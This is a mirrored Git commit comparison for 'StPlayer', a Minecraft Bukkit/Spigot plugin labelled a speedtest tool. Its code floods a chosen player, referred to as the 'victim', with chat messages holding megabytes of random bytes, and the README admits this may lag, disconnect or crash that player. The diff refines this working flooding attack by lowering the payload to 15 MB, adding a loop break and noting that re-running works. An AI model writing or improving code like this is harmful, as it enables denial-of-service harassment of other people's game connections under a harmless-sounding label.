mirror of
https://github.com/IdalecioSch/StPlayer.git
synced 2026-07-27 16:25:47 -03:00
Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 23711f1eac | |||
| ca4a99fd81 |
@@ -4,7 +4,7 @@
|
|||||||
<modelVersion>4.0.0</modelVersion>
|
<modelVersion>4.0.0</modelVersion>
|
||||||
<groupId>com.itakinn</groupId>
|
<groupId>com.itakinn</groupId>
|
||||||
<artifactId>stplayer</artifactId>
|
<artifactId>stplayer</artifactId>
|
||||||
<version>1.0-SNAPSHOT</version>
|
<version>1.1-SNAPSHOT</version>
|
||||||
<packaging>jar</packaging>
|
<packaging>jar</packaging>
|
||||||
<name>stplayer</name>
|
<name>stplayer</name>
|
||||||
<description>Speedtest plugin for Bukkit/Spigot</description>
|
<description>Speedtest plugin for Bukkit/Spigot</description>
|
||||||
|
|||||||
@@ -31,4 +31,5 @@ In-game or via console, run:
|
|||||||
- The plugin may cause lag, disconnect or crash the targeted player.
|
- The plugin may cause lag, disconnect or crash the targeted player.
|
||||||
- Use responsibly.
|
- Use responsibly.
|
||||||
- **I've no responsibility for your own use.**
|
- **I've no responsibility for your own use.**
|
||||||
|
- It might not work at first and may spam WARN, but re-running it will work
|
||||||
- The plugin may use a lot of bandwidth depending on the target connection.
|
- The plugin may use a lot of bandwidth depending on the target connection.
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ public class Main extends JavaPlugin {
|
|||||||
public void onEnable() {
|
public void onEnable() {
|
||||||
this.getCommand("stplayer").setExecutor(this);
|
this.getCommand("stplayer").setExecutor(this);
|
||||||
}
|
}
|
||||||
|
@Override
|
||||||
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
||||||
Player victim = Bukkit.getPlayer(args[0]);
|
Player victim = Bukkit.getPlayer(args[0]);
|
||||||
@@ -21,6 +21,7 @@ public class Main extends JavaPlugin {
|
|||||||
for (int i = 0; i < 5; ++i) {
|
for (int i = 0; i < 5; ++i) {
|
||||||
if (victim == null || !victim.isOnline()) {
|
if (victim == null || !victim.isOnline()) {
|
||||||
sender.sendMessage("Player offline or not found.");
|
sender.sendMessage("Player offline or not found.");
|
||||||
|
break;
|
||||||
}else {
|
}else {
|
||||||
this.stressPlayer(victim);
|
this.stressPlayer(victim);
|
||||||
}
|
}
|
||||||
@@ -36,9 +37,10 @@ public class Main extends JavaPlugin {
|
|||||||
|
|
||||||
private void stressPlayer(Player victim) {
|
private void stressPlayer(Player victim) {
|
||||||
try {
|
try {
|
||||||
byte[] data = new byte[20971520]; // 20 MB
|
byte[] data = new byte[15728640]; // 15 MB
|
||||||
new Random().nextBytes(data);
|
new Random().nextBytes(data);
|
||||||
this.sendLargeMessage(victim, data);
|
this.sendLargeMessage(victim, data);
|
||||||
|
data = null;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
@@ -47,7 +49,8 @@ public class Main extends JavaPlugin {
|
|||||||
private void sendLargeMessage(Player player, byte[] data) {
|
private void sendLargeMessage(Player player, byte[] data) {
|
||||||
String dataString = new String(data);
|
String dataString = new String(data);
|
||||||
while (player.isOnline() && !dataString.isEmpty()) {
|
while (player.isOnline() && !dataString.isEmpty()) {
|
||||||
player.sendMessage(player.getUniqueId(), dataString);
|
player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException:
|
||||||
}
|
}
|
||||||
|
dataString=null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user